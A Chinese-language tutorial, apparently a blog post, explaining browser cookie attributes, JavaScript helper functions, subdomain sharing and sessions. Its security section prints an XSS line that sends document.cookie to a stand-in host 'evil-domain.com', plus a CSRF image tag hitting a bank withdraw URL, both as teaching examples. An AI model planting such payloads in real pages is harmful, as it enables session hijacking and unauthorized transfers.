Cookie 是什么

Cookie 是用户浏览器保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。

Cookie 主要用于以下三个方面:

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

Domain

Domain 标识指定了哪些主机可以接受 Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了 Domain,则一般包含子域名(子域名可以访问父域名的 Cookie)。

例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如 developer.mozilla.org)。

Path

Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F (/) 作为路径分隔符,子路径也会被匹配。

设置 Path=/docs,则以下地址都会匹配:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

Expires/Max-Age

Cookie 的过期时间,过了这个时间之后 Cookie 将会自动删除。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Max-Age 的单位是秒。

document.cookie = 'promo_shown=1; Max-Age=2600000; Secure'

HttpOnly

为避免跨域脚本 (XSS) 攻击,通过 JavaScript 的 Document.cookie API 无法访问带有 HttpOnly 标记的 Cookie,它们只应该发送给服务端。如果包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用,那么就应该为其设置 HttpOnly 标记。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Secure

标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端。

SameSite

  • www.ruanyifeng.com/blog/2019/0…
  • www.zhihu.com/question/37…

SameSite Cookie 允许服务器要求某个 Cookie 在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。

Set-Cookie: key=value; SameSite=Strict
  • None 浏览器会在同站请求、跨站请求下继续发送 Cookies,不区分大小写;
  • Strict 浏览器将只发送相同站点请求的 Cookie(即当前网页 URL 与请求目标 URL 完全一致)。如果请求来自与当前 location 的 URL 不同的 URL,则不包括标记为 Strict 属性的 Cookie;
  • Lax 在新版本浏览器中,为默认选项,Same-site Cookies 将会为一些跨站子请求保留,如图片加载或者 iframe 不会发送,而点击 <a> 标签会发送;

增删改查

  • www.w3school.com.cn/js/js_cooki…

设置 Cookie 和修改 Cookie 相同:

function setCookie(cname, cvalue, exdays) {
const d = new Date()
d.setTime(d.getTime() + exdays * 24 * 60 * 60 * 1000)
const expires = 'expires=' + d.toUTCString()
return (document.cookie = cname + '=' + cvalue + ';' + expires + ';path=/')
}

删除 Cookie:

function deleteCookie(cname) {
const d = new Date()
const expires = 'expires=' + d.toUTCString()
return (document.cookie = cname + '=' + ';' + expires + ';path=/')
}

查询 Cookie:

function getCookie(cname) {
const cookieObj = document.cookie.split(';').reduce((prev, curr) => {
const entry = curr.split('=')
prev[entry[0].trim()] = entry[1]
return prev
}, {})
if (cname) return cookieObj[cname]
return cookieObj
}

不同二级域名共享 Cookie

Cookie 可以设置成给子域名共享,类似于在 x.com.cn 设置的 Cookie 可以提供给 a.x.com.cn、b.x.com.cn、suba.a.x.com.cn 等域名访问。

比如下面的方式:

res.writeHead(200, {
'Set-Cookie': ['name=sub-x-com-cn; path=/;domain=x.com.cn', 'name=only-x-com-cn; path=/'],
})

domain=x.com.cn 表示 domain=x.com.cn 及其子域名都可以使用, 不写 doamin 默认只有当前域名可用,设置的 Cookie 是这样的:


总结

  1. 设置 Cookie 时,在 x.com.cn 设置为 ...;domain=x.com.cn 的 Cookie 可以给 x.com.cn 及其子域名使用;
  2. 设置 Cookie 时,在 x.com.cn 设置没有 domain 的 Cookie 只能给 x.com.cn 使用;
  3. 父域名无法在子域名设置 Cookie,例如在 x.com.cn 设置了 name=lxfriday;domain=subx.x.com.cn,这种设置是无效的;

Cookie 常见问题

  1. Cookie 不区分端口;
  2. 一个 Cookie 存储上限是 4K 大小;
  3. Cookie 只能存储 ASCII 字符串;

Cookie 安全-会话劫持和 XSS

new Image().src = 'http://www.evil-domain.com/steal-cookie.php?cookie=' + document.cookie

HttpOnly 类型的 Cookie 由于阻止了 JavaScript 对其的访问性而能在一定程度上缓解此类攻击。

Cookie 安全-跨站请求伪造(CSRF)

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />

当你打开含有了这张图片的 HTML 页面时,如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。

这种情况只是一种假设,实际上应该不允许使用 GET 修改数据,对转账的操作需要添加二次确认。

Session

Session 机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。

当程序需要为某个客户端的请求创建一个 Session 时,服务器首先检查这个客户端的请求里是否已包含了一个 Session 标识(称为 Session ID),如果已包含则说明以前已经为此客户端创建过 Session,服务器就按照 Session ID 把这个 Session 检索出来使用(检索不到,会新建一个),如果客户端请求不包含 Session ID,则为此客户端创建一个 Session 并且生成一个与此 Session 相关联的 Session ID,Session ID 的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个 Session ID 将被在本次响应中返回给客户端保存。

Session 从客户端传输到服务端的方式有两种:

  1. 通过 Cookie 传输;
  2. 通过 URL 传输;
  3. 表单隐藏字段,通过在 <form> 中添加一个隐藏字段,把 Session 传回服务器;

基于 Cookie 实现,会话期 Cookie 是最简单的 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。会话期 Cookie 不需要指定过期时间(Expires)或者有效期(Max-Age)。

Set-Cookie: name=lxfriday.xyz; path=/; HttpOnly

Cookie 与 Session 有什么不同

  • mp.weixin.qq.com/s?__biz=MzA…
  1. 保存的地方不同,Cookie 保存在客户端,Session 保存在服务端;
  2. 有效期不同,Cookie 可以存储很长时间,Session 只能存在于一次会话中,浏览器关闭之后 Session 就失效了;
  3. 安全性不同,Cookie 存储在客户端容易被盗取或者利用,Session 在服务端比较安全;
  4. 存储大小不同,单个 Cookie 能存储 4K 的数据,Session 存储量比 Cookie 高得多;
  5. 存取方式不同,Cookie 中只能保存 ASCII 字符串,假如需求存取 Unicode 字符或者二进制数据,需求先进行编码。Session 中能够存取任何类型的数据;
  6. 服务器压力不同,Session 是存储在服务端的,巨大并发的时候会使服务器资源急速飙升。Cookie 则不存在此问题;

惊艳面试官的 Cookie 介绍的更多相关文章

  1. CURD系统怎么做出技术含量惊艳面试官

    在<CURD系统怎么做出技术含量--怎样引导面试>有朋友开玩笑说都用上了领域驱动了,就不叫CURD系统了吧.这里我解释一下,怕大家对DDD领域驱动设计有什么误解. DDD是为解决软件复杂性 ...

  2. 当面试官要你介绍一下MQ时,该怎么回答?

    一.为什么要使用MQ消息中间件? 一个用消息队列的人,不知道为啥用,有点尴尬.没有复习这点,很容易被问蒙,然后就开始胡扯了. 回答:这个问题,咱只答三个最主要的应用场景,不可否认还有其他的,但是只答三 ...

  3. <转载>面试官,不要再问我三次握手和四次挥手

    版权声明:本文为CSDN博主「夏雪冬日」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明. 原文链接:https://blog.csdn.net/hyg0811/a ...

  4. 【Android面试揭秘】面试官说“回去等通知”,我到底会不会等来通知?

    前言 大部分情况下,面试结束后,面试官都会跟你说:我们会在1-2个工作日内通知你面试结果. 许多人认为:所谓「等通知」其实是面试官委婉地给你「发拒信」.但是,这不是「等通知」的全部真相. 这篇文章,我 ...

  5. 我是面试官--"自我介绍"

    工作10余年,经历过很多次面试,也面试了N多人.这些年来,已经有好些位朋友(或同事)与我聊起相关话题,涉及面试,更关乎职业生涯规划.感触颇多,就借助自媒体的浪潮,与更多的程序员一起共谈面试经历,希望可 ...

  6. 接口测试彻底弄懂Session、Cookie、Token的区别及联系hold住面试官--hold住了开3万,hold不住开3K!

    一.前言:接口测试之伤:cookie,session,token本是一家! cookie,session,token的区别早就已经成为测试同行的心病,各大论坛,各大博客,各大视频网站无不充斥着各种疑问 ...

  7. 面试官:你用过mysql哪些存储引擎,请分别展开介绍一下

    这是高级开发者面试时经常被问的问题.实际我们在平时的开发中,经常会遇到的,在用SQLyog等工具创建表时,就有一个引擎项要你去选.如下图: Mysql的存储引擎有这么多种,实际我们在平时用的最多的莫过 ...

  8. 你所不知道的 CSS 阴影技巧与细节 滚动视差?CSS 不在话下 神奇的选择器 :focus-within 当角色转换为面试官之后 NPOI 教程 - 3.2 打印相关设置 前端XSS相关整理 委托入门案例

    你所不知道的 CSS 阴影技巧与细节   关于 CSS 阴影,之前已经有写过一篇,box-shadow 与 filter:drop-shadow 详解及奇技淫巧,介绍了一些关于 box-shadow  ...

  9. 《吊打面试官》系列-Redis常见面试题(带答案)

    你知道的越多,你不知道的越多 点赞再看,养成习惯 GitHub上已经开源,有面试点思维导图,欢迎[Star]和[完善] 前言 Redis在互联网技术存储方面使用如此广泛,几乎所有的后端技术面试官都要在 ...

随机推荐

  1. CCNA 第三章 TCP/IP简介

    1:DoD模型和OSI模型 2:TCP和UDP的重要特性 3:IP编址: (1):A类地址: 第一字节第一位必须为0,即:0xxxxxxx,取值范围:00000000-011111111:0-127, ...

  2. UA: Literally Vulnerable靶机

    前言 略有点虎头蛇尾.主要有一步没想通. web打点 nmap -sP 192.168.218.0/24 #发现主机IP 192.168.218.138 #端口扫描 nmap -sV -p- 192. ...

  3. 敏杰开题——软工团队项目选择与NABCD分析

    这是一篇软件工程课程博客 Q A 这个作业属于哪个课程 2020春季计算机学院软件工程(罗杰 任健) 这个作业的要求在哪里 团队项目选择 我们在这个课程的目标是 团队协作实践敏捷开发 这个作业在哪个具 ...

  4. Java虚拟机栈和PC寄存器

    PC Register介绍 JVM中的程序计数寄存器(Program Counter Register)中,Register 的命名源于CPU的寄存器,寄存器存储指令相关的现场信息.CPU只有把数据装 ...

  5. EventSource的自定义实现

    前言: 前面两篇文章都介绍了.NET Core 性能诊断工具,其中诊断工具都用到了EventCounters来实时的收集服务器性能指标. 那么收集指标能否自己定义呢? 一.What's EventCo ...

  6. MSSQL·查询数据库中所有索引的相关信息

    阅文时长 | 0.45分钟 字数统计 | 784字符 主要内容 | 1.引言&背景 2.声明与参考资料 『MSSQL·查询数据库中所有索引的相关信息』 编写人 | SCscHero 编写时间 ...

  7. [刷题] PTA 7-32 说反话-加强版

    题目描述: 给定一个英语句子,各个单词之间用空格分隔.要求编写程序,将所有单词倒序输出 输入示例: Hello World Here I Come 输出示例: Come I Here World He ...

  8. 【转载】geany linux python编译器 开源

    http://www.dekiru.cn/?p=1491 Geany 不好用,建议用一些好用的编辑器或ide Subliem Text 或 VS code Pycharm等. 设置运行环境 菜单栏–生 ...

  9. (代替人类)很多操作都在Settings里面。 5.安装第三方库

    2020-02-01 pycharm 使用教程 LingSmart关注 0.0842020.02.07 15:08:50字数 1,394阅读 680 实在无聊,就来学习吧.学习pycharm的使用教程 ...

  10. linux 创建网桥

    由于最近项目需验证个问题,需求是要创建一个虚拟机网桥,在使用ifconfig命令查看时让docker0网桥不在第一个显示,因此,我们创建一个虚拟网桥让它排在第一位置 项目使用Centos7系统,因此使 ...